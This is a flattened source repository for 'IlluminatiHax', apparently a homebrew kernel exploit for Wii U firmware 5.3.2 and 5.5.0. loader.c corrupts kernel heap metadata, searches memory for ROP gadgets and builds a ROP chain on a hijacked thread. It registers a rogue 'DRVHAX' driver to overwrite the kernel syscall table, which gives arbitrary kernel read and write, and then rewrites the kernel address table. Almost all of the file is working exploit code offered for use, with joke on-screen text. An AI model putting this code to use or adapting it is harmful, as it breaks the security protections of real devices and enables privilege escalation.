├── bin ├── code532.bin └── code550.bin ├── Makefile └── src ├── loader.h └── loader.c /bin/code532.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NWPlayer123/IlluminatiHax/HEAD/bin/code532.bin -------------------------------------------------------------------------------- /bin/code550.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NWPlayer123/IlluminatiHax/HEAD/bin/code550.bin -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -std=gnu99 -nostdinc -fno-builtin -fno-toplevel-reorder -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | make main FIRMWARE=550 21 | 22 | main532: 23 | make main FIRMWARE=532 24 | 25 | main: 26 | $(CC) $(CFLAGS) -DVER=$(FIRMWARE) $(project)/*.c 27 | cp -r $(root)/*.o $(build) 28 | rm $(root)/*.o 29 | $(LD) -o $(build)/code$(FIRMWARE).bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` $(LDFLAGS) 30 | 31 | clean: 32 | rm -r $(build)/* 33 | -------------------------------------------------------------------------------- /src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/types.h" 6 | 7 | /* Gadget finding addresses */ 8 | #define JIT_ADDRESS 0x01800000 9 | #if VER == 300 10 | #define CODE_ADDRESS_START 0x0E000000 11 | #define CODE_ADDRESS_END 0x10000000 12 | #else 13 | #define CODE_ADDRESS_START 0x0D800000 14 | #define CODE_ADDRESS_END 0x0F848A0C 15 | #endif 16 | 17 | /* Kernel addresses, stolen from Chadderz */ 18 | #define KERN_HEAP 0xFF200000 19 | #define KERN_HEAP_PHYS 0x1B800000 20 | #if VER == 300 21 | #define KERN_SYSCALL_TBL 0xFFE85950 22 | #define KERN_CODE_READ 0xFFF02214 23 | #define KERN_CODE_WRITE 0xFFF02234 24 | #define KERN_DRVPTR 0x0 25 | #define KERN_ADDRESS_TBL 0xFFEB66E4 26 | #elif VER == 400 27 | #define KERN_SYSCALL_TBL 0x0 28 | #define KERN_CODE_READ 0x0 29 | #define KERN_CODE_WRITE 0x0 30 | #define KERN_DRVPTR 0x0 31 | #define KERN_ADDRESS_TBL 0x0 32 | #elif VER == 410 33 | #define KERN_SYSCALL_TBL 0xffe85890 34 | #define KERN_CODE_READ 0xfff02214 35 | #define KERN_CODE_WRITE 0xfff02234 36 | #define KERN_DRVPTR 0x0 37 | #define KERN_ADDRESS_TBL 0xffeb902c 38 | #elif VER == 500 39 | #define KERN_SYSCALL_TBL 0xffea9520 40 | #define KERN_CODE_READ 0xfff021f4 41 | #define KERN_CODE_WRITE 0xfff02214 42 | #define KERN_DRVPTR 0x0 43 | #define KERN_ADDRESS_TBL 0xffea9e4c 44 | #elif (VER == 532) || (VER == 540) 45 | #define KERN_SYSCALL_TBL 0xFFEAA0E0 46 | #define KERN_CODE_READ 0xFFF02274 47 | #define KERN_CODE_WRITE 0xFFF02294 48 | #define KERN_DRVPTR 0xFFEAA7A0 49 | #define KERN_ADDRESS_TBL 0xFFEAAA10 50 | #elif VER == 550 51 | #define KERN_SYSCALL_TBL 0xFFEAAE60 52 | #define KERN_CODE_READ 0xFFF023D4 53 | #define KERN_CODE_WRITE 0xFFF023F4 54 | #define KERN_DRVPTR 0xFFEAB530 55 | #define KERN_ADDRESS_TBL 0xFFEAB7A0 56 | #else 57 | #error "Unsupported Wii U software version" 58 | #endif 59 | 60 | /* Kernel heap constants */ 61 | #define STARTID_OFFSET 0x08 62 | #define METADATA_OFFSET 0x14 63 | #define METADATA_SIZE 0x10 64 | 65 | /* Application start */ 66 | void _start(); 67 | 68 | /* Find a ROP gadget by a sequence of bytes */ 69 | void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); 70 | 71 | /* Arbitrary read and write syscalls */ 72 | uint32_t kern_read(const void *addr); 73 | void kern_write(void *addr, uint32_t value); 74 | 75 | #endif /* LOADER_H */ 76 | -------------------------------------------------------------------------------- /src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | #if VER == 532 4 | #define __PPCExit ((void (*)(void))0x0101C570) 5 | #define _Exit ((void (*)(void))0x0101CD70) 6 | #define OSAllocFromSystem ((void* (*)(uint32_t size, int align))0x01021F0C) 7 | #define OSFreeToSystem ((void (*)(void *ptr))0x01021FA0) 8 | #define DCFlushRange ((void (*)(void *buffer, uint32_t length))0x01023EE8) 9 | #define OSSleepTicks ((void (*)(uint32_t ticks))0x01041FF4) 10 | 11 | #define IM_Open ((uint32_t (*)(void))0x010817A8) 12 | #define IM_SetDeviceState ((void (*)(uint32_t fd, void *mem, int state, int a, int b))0x01081B50) 13 | #define IM_Close ((void (*)(uint32_t fd))0x010817B8) 14 | 15 | #define Register ((void (*)(char *driver_name, uint32_t name_length, void *buf1, void *buf2))0x01027758) 16 | #define CopyToSaveArea ((void (*)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length))0x0102777C) 17 | 18 | #define OSCreateThread ((bool (*)(void *thread, void *entry, int argc, void *args, uint32_t *stack, uint32_t stack_size, int priority, uint16_t attr))0x010414C8) 19 | #define OSResumeThread ((int (*)(void *thread))0x010419B0) 20 | #define OSExitThread ((void (*)(void))0x01041614) 21 | 22 | #define OSScreenInit ((void (*)(void))0x0103A880) 23 | #define OSScreenSetBufferEx ((void (*)(uint32_t buffer_num, void *addr))0x0103A934) 24 | #define OSScreenFlipBuffersEx ((void (*)(uint32_t buffer_num))0x0103A9D0) 25 | #define OSScreenGetBufferSizeEx ((uint32_t (*)(uint32_t buffer_num))0x0103A91C) 26 | #define OSScreenClearBufferEx ((void (*)(uint32_t buffer_num, uint32_t color))0x0103AA90) 27 | #define OSScreenPutFontEx ((void (*)(int bufferNum, uint32_t posX, uint32_t posY, const char *str))0x0103AF14) 28 | #elif VER == 550 29 | #define __PPCExit ((void (*)(void))0x0101C580) 30 | #define _Exit ((void (*)(void))0x0101CD80) 31 | #define OSAllocFromSystem ((void* (*)(uint32_t size, int align))0x01021FA8) 32 | #define OSFreeToSystem ((void (*)(void *ptr))0x0102203C) 33 | #define DCFlushRange ((void (*)(void *buffer, uint32_t length))0x01023F88) 34 | #define OSSleepTicks ((void (*)(uint32_t ticks))0x0104274C) 35 | 36 | #define IM_Open ((uint32_t (*)(void))0x010821F0) 37 | #define IM_SetDeviceState ((void (*)(uint32_t fd, void *mem, int state, int a, int b))0x01082598) 38 | #define IM_Close ((void (*)(uint32_t fd))0x01082200) 39 | 40 | #define Register ((void (*)(char *driver_name, uint32_t name_length, void *buf1, void *buf2))0x010277B8) 41 | #define CopyToSaveArea ((void (*)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length))0x010277DC) 42 | 43 | #define OSCreateThread ((bool (*)(void *thread, void *entry, int argc, void *args, uint32_t *stack, uint32_t stack_size, int priority, uint16_t attr))0x01041B64) 44 | #define OSResumeThread ((int (*)(void *thread))0x01042108) 45 | #define OSExitThread ((void (*)(void))0x01041D6C) 46 | 47 | #define OSScreenInit ((void (*)(void))0x0103AE80) 48 | #define OSScreenSetBufferEx ((void (*)(uint32_t buffer_num, void *addr))0x0103AF34) 49 | #define OSScreenFlipBuffersEx ((void (*)(uint32_t buffer_num))0x0103AFD0) 50 | #define OSScreenGetBufferSizeEx ((uint32_t (*)(uint32_t buffer_num))0x0103AF1C) 51 | #define OSScreenClearBufferEx ((void (*)(uint32_t buffer_num, uint32_t color))0x0103B090) 52 | #define OSScreenPutFontEx ((void (*)(int bufferNum, uint32_t posX, uint32_t posY, const char *str))0x0103B514) 53 | #endif 54 | 55 | void* memset(uint8_t *dst, const uint8_t val, uint32_t size); 56 | void fill_screen(uint8_t r, uint8_t g, uint8_t b, uint8_t a); 57 | void flip_buffers(void); 58 | void sleep(uint32_t seconds); 59 | void illuminati(void); 60 | 61 | void _start() 62 | { 63 | /* Load a good stack */ 64 | asm( 65 | "lis %r1, 0x1AF0 ;" 66 | "ori %r1, %r1, 0xFFF0 ;" 67 | ); 68 | 69 | /* Get a handle to coreinit.rpl and gx2.rpl */ 70 | unsigned int coreinit_handle, gx2_handle; 71 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 72 | 73 | /* Restart system to get lib access */ 74 | uint32_t fd = IM_Open(); 75 | uint8_t *mem = OSAllocFromSystem(0x100, 64); 76 | memset(mem, 0, 0x100); 77 | 78 | /* set restart flag to force quit browser */ 79 | IM_SetDeviceState(fd, mem, 3, 0, 0); 80 | IM_Close(fd); 81 | OSFreeToSystem(mem); 82 | 83 | sleep(1); 84 | 85 | //Call the Screen initilzation function. 86 | OSScreenInit(); 87 | //Grab the buffer size for each screen (TV and gamepad) 88 | int buf0_size = OSScreenGetBufferSizeEx(0); 89 | int buf1_size = OSScreenGetBufferSizeEx(1); 90 | //Set the buffer area. 91 | OSScreenSetBufferEx(0, (void *)0xF4000000); 92 | OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); 93 | //Clear both framebuffers. 94 | for (uint32_t ii = 0; ii < 2; ii++) 95 | { 96 | fill_screen(115, 159, 96, 0); 97 | flip_buffers(); 98 | } 99 | 100 | illuminati(); 101 | OSScreenPutFontEx(0, 0, 8, "CONFIRMING ILLUMINATI..."); 102 | OSScreenPutFontEx(1, 0, 7, "CONFIRMING ILLUMINATI..."); 103 | flip_buffers(); 104 | sleep(1); 105 | 106 | illuminati(); 107 | OSScreenPutFontEx(0, 0, 8, "CONFIRMING ILLUMINATI...OK"); 108 | OSScreenPutFontEx(1, 0, 7, "CONFIRMING ILLUMINATI...OK"); 109 | flip_buffers(); 110 | 111 | illuminati(); 112 | OSScreenPutFontEx(0, 0, 8, "CONFIRMING ILLUMINATI...OK"); 113 | OSScreenPutFontEx(1, 0, 7, "CONFIRMING ILLUMINATI...OK"); 114 | OSScreenPutFontEx(0, 0, 9, "IOSU 1337 H4X..........."); 115 | OSScreenPutFontEx(1, 0, 8, "IOSU 1337 H4X..........."); 116 | flip_buffers(); 117 | 118 | OSDynLoad_Acquire("gx2.rpl", &gx2_handle); 119 | 120 | /* Memory functions */ 121 | void (*DCInvalidateRange)(void *buffer, uint32_t length); 122 | void (*DCTouchRange)(void *buffer, uint32_t length); 123 | uint32_t (*OSEffectiveToPhysical)(void *vaddr); 124 | OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); 125 | OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange); 126 | OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical); 127 | 128 | /* GX2 functions */ 129 | void (*GX2SetSemaphore)(uint64_t *sem, int action); 130 | void (*GX2Flush)(void); 131 | OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); 132 | OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush); 133 | 134 | /* Allocate space for DRVHAX */ 135 | uint32_t *drvhax = OSAllocFromSystem(0x4C, 4); 136 | 137 | /* Set the kernel heap metadata entry */ 138 | uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); 139 | metadata[0] = (uint32_t)drvhax; 140 | metadata[1] = (uint32_t)-0x4C; 141 | metadata[2] = (uint32_t)-1; 142 | metadata[3] = (uint32_t)-1; 143 | 144 | /* Find some gadgets */ 145 | uint32_t gx2data[] = {0xfc2a0000}; 146 | uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); 147 | uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; 148 | uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); 149 | uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; 150 | uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); 151 | uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; 152 | uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; 153 | 154 | /* Modify a next ptr on the heap */ 155 | uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; 156 | 157 | /* Make a thread to modify the semaphore */ 158 | OSContext *thread = (OSContext*)OSAllocFromSystem(0x1000,8); 159 | uint32_t *stack = (uint32_t*)OSAllocFromSystem(0xA0,0x20); 160 | if (!OSCreateThread(thread, (void*)0x11A1DD8, 0, NULL, stack + 0x28, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); 161 | 162 | /* Set up the ROP chain */ 163 | thread->gpr[1] = (uint32_t)stack; 164 | thread->gpr[3] = kpaddr; 165 | thread->gpr[30] = gx2data_addr; 166 | thread->gpr[31] = 1; 167 | thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; 168 | 169 | stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ 170 | stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ 171 | stack[0x2c/4] = 1; /* r31 = 1 (signal) */ 172 | 173 | stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ 174 | stack[0x38/4] = kpaddr; 175 | 176 | stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ 177 | 178 | stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ 179 | stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ 180 | stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ 181 | 182 | stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ 183 | 184 | stack[0x94/4] = (uint32_t)OSExitThread; 185 | 186 | /* Start the thread */ 187 | OSResumeThread(thread); 188 | 189 | /* Wait for a while */ 190 | sleep(1); 191 | 192 | 193 | /* Free stuff */ 194 | OSFreeToSystem(thread); 195 | OSFreeToSystem(stack); 196 | 197 | /* Register a new OSDriver, DRVHAX */ 198 | char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; 199 | Register(drvname, 6, NULL, NULL); 200 | 201 | /* Modify its save area to point to the kernel syscall table */ 202 | drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4); 203 | 204 | /* Use DRVHAX to install the read and write syscalls */ 205 | uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; 206 | CopyToSaveArea(drvname, 6, syscalls, 8); 207 | 208 | illuminati(); 209 | OSScreenPutFontEx(0, 0, 8, "CONFIRMING ILLUMINATI...OK"); 210 | OSScreenPutFontEx(1, 0, 7, "CONFIRMING ILLUMINATI...OK"); 211 | OSScreenPutFontEx(0, 0, 9, "IOSU 1337 H4X...........OK"); 212 | OSScreenPutFontEx(1, 0, 8, "IOSU 1337 H4X...........OK"); 213 | flip_buffers(); 214 | 215 | /* Clean up the heap and driver list so we can exit */ 216 | kern_write((void*)KERN_HEAP + STARTID_OFFSET, 0); 217 | kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); 218 | 219 | /* Modify the kernel address table and exit */ 220 | kern_write((void*)KERN_ADDRESS_TBL + (0x12 * 4), 0x31000000); //Map 0xA0000000 to 0x31000000, loadiine needs 0x10000000 221 | kern_write((void*)KERN_ADDRESS_TBL + (0x13 * 4), 0x28305800); 222 | 223 | illuminati(); 224 | OSScreenPutFontEx(0, 0, 8, "CONFIRMING ILLUMINATI...OK"); 225 | OSScreenPutFontEx(1, 0, 7, "CONFIRMING ILLUMINATI...OK"); 226 | OSScreenPutFontEx(0, 0, 9, "IOSU 1337 H4X...........OK"); 227 | OSScreenPutFontEx(1, 0, 8, "IOSU 1337 H4X...........OK"); 228 | OSScreenPutFontEx(0, 0, 10, "Exiting..."); 229 | OSScreenPutFontEx(1, 0, 9, "Exiting..."); 230 | flip_buffers(); 231 | sleep(1); 232 | 233 | for(uint32_t ii = 0;ii < 2;ii++) 234 | { 235 | fill_screen(0,0,0,0); 236 | flip_buffers(); 237 | } 238 | _Exit(); 239 | 240 | while(1); 241 | } 242 | 243 | /* Simple memcmp() implementation */ 244 | int memcmp(uint8_t *ptr1, uint8_t *ptr2, uint32_t length) 245 | { 246 | for (uint32_t i = 0; i < length; i++) 247 | if (ptr1[i] != ptr2[i]) return 1; 248 | return 0; 249 | } 250 | 251 | void* memcpy(uint8_t *dst, const uint8_t *src, uint32_t size) 252 | { 253 | for (uint32_t i = 0; i < size; i++) 254 | dst[i] = src[i]; 255 | return dst; 256 | } 257 | 258 | /* for internal and gcc usage */ 259 | void* memset(uint8_t *dst, const uint8_t val, uint32_t size) 260 | { 261 | for (uint32_t i = 0; i < size; i++) 262 | dst[i] = val; 263 | return dst; 264 | } 265 | 266 | /* Find a gadget based on a sequence of words */ 267 | void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) 268 | { 269 | uint32_t *ptr; 270 | /* Search code before JIT area first */ 271 | for (ptr = (uint32_t*)gadgets_start; ptr != (uint32_t*)JIT_ADDRESS; ptr++) 272 | if (!memcmp((uint8_t*)ptr, (uint8_t*)&code[0], length)) return ptr; 273 | 274 | /* Restart search after JIT */ 275 | for (ptr = (uint32_t*)CODE_ADDRESS_START; ptr != (uint32_t*)CODE_ADDRESS_END; ptr++) 276 | if (!memcmp((uint8_t*)ptr, (uint8_t*)&code[0], length)) return ptr; 277 | _Exit(); 278 | return NULL; 279 | } 280 | 281 | /* Chadderz's kernel read function */ 282 | uint32_t kern_read(const void *addr) 283 | { 284 | uint32_t result; 285 | asm( 286 | "li 3,1\n" 287 | "li 4,0\n" 288 | "li 5,0\n" 289 | "li 6,0\n" 290 | "li 7,0\n" 291 | "lis 8,1\n" 292 | "mr 9,%1\n" 293 | "li 0,0x3400\n" 294 | "mr %0,1\n" 295 | "sc\n" 296 | "nop\n" 297 | "mr 1,%0\n" 298 | "mr %0,3\n" 299 | : "=r"(result) 300 | : "b"(addr) 301 | : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", 302 | "11", "12" 303 | ); 304 | 305 | return result; 306 | } 307 | 308 | /* Chadderz's kernel write function */ 309 | void kern_write(void *addr, uint32_t value) 310 | { 311 | asm( 312 | "li 3,1\n" 313 | "li 4,0\n" 314 | "mr 5,%1\n" 315 | "li 6,0\n" 316 | "li 7,0\n" 317 | "lis 8,1\n" 318 | "mr 9,%0\n" 319 | "mr %1,1\n" 320 | "li 0,0x3500\n" 321 | "sc\n" 322 | "nop\n" 323 | "mr 1,%1\n" 324 | : 325 | : "r"(addr), "r"(value) 326 | : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", 327 | "11", "12" 328 | ); 329 | } 330 | 331 | void flip_buffers(void) 332 | { 333 | //Grab the buffer size for each screen (TV and gamepad) 334 | int tv_size = OSScreenGetBufferSizeEx(0); 335 | int drc_size = OSScreenGetBufferSizeEx(1); 336 | DCFlushRange((void *)0xF4000000, tv_size); 337 | DCFlushRange((void *)0xF4000000+tv_size, drc_size); 338 | OSScreenFlipBuffersEx(0); 339 | OSScreenFlipBuffersEx(1); 340 | } 341 | 342 | void fill_screen(uint8_t r, uint8_t g, uint8_t b, uint8_t a) 343 | { 344 | uint32_t num = (r << 24) | (g << 16) | (b << 8) | a; 345 | OSScreenClearBufferEx(0, num); 346 | OSScreenClearBufferEx(1, num); 347 | } 348 | 349 | void sleep(uint32_t seconds) 350 | { 351 | //busClockSpeed * seconds is rough estimate of a second instruction-wise 352 | uint32_t ticks = seconds * (248625000); 353 | while(ticks--) ; 354 | } 355 | 356 | void illuminati(void) 357 | { 358 | OSScreenPutFontEx(0, 0, 0, "\t\t\t\t `-. -./\\.- .-' "); 359 | OSScreenPutFontEx(0, 0, 1, "\t\t\t\t -. /_|\\ .-"); 360 | OSScreenPutFontEx(0, 0, 2, "\t\t\t\t `-. `/____\\' .-'."); 361 | OSScreenPutFontEx(0, 0, 3, "\t\t\t\t `-. -./.-''-.\\.- '"); 362 | OSScreenPutFontEx(0, 0, 4, "\t\t\t\t `-. /< (()) >\\ .-'"); 363 | OSScreenPutFontEx(0, 0, 5, "\t\t\t\t - .`/__`-..-'__\\' .-"); 364 | OSScreenPutFontEx(0, 0, 6, "\t\t\t\t ,...`-./___|____|___\\.-'.,."); 365 | OSScreenPutFontEx(1, 0, 0, "\t\t\t /\\ "); 366 | OSScreenPutFontEx(1, 0, 1, "\t\t\t / \\ "); 367 | OSScreenPutFontEx(1, 0, 2, "\t\t\t /,--.\\ "); 368 | OSScreenPutFontEx(1, 0, 3, "\t\t\t /< () >\\ "); 369 | OSScreenPutFontEx(1, 0, 4, "\t\t\t / `--' \\ "); 370 | OSScreenPutFontEx(1, 0, 5, "\t\t\t /__________\\ "); 371 | OSScreenPutFontEx(1, 0, 20, "ILLUMINATI"); //BIN2MP4 doesn't like text so I do this so- 372 | //It doesn't display garbage 373 | } --------------------------------------------------------------------------------